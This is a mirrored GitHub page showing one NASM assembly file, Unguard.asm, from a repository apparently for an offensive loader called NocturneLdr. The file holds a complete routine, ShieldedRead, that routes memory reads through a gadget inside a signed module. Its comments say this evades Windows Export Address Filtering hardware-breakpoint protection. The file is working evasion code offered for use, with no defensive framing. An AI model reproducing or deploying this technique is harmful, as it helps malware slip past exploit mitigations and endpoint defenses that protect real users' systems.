mirror of
https://github.com/xec412/NocturneLdr
synced 2026-07-27 17:18:43 +00:00
Xec412
26 lines
617 B
NASM
26 lines
617 B
NASM
; Unguard.asm
|
|
.code
|
|
|
|
; RCX = Target address to dereference
|
|
; RDX = Gadget address (MOV RAX, [RAX]; RET inside a signed module)
|
|
; RAX = Dereferenced value
|
|
;
|
|
; If RDX is NULL, performs a normal read from the current context.
|
|
; If RDX is non-NULL, jumps to the gadget so the read occurs
|
|
; inside a legitimate module frame — bypassing EAF hardware breakpoints.
|
|
|
|
ShieldedRead PROC
|
|
test rdx, rdx ; Check if gadget is provided
|
|
jz DirectRead
|
|
|
|
mov rax, rcx ; RAX = target address
|
|
jmp rdx ; Jump to gadget (MOV RAX, [RAX]; RET)
|
|
|
|
DirectRead:
|
|
mov rax, [rcx] ; Normal dereference
|
|
ret
|
|
|
|
ShieldedRead ENDP
|
|
|
|
END
|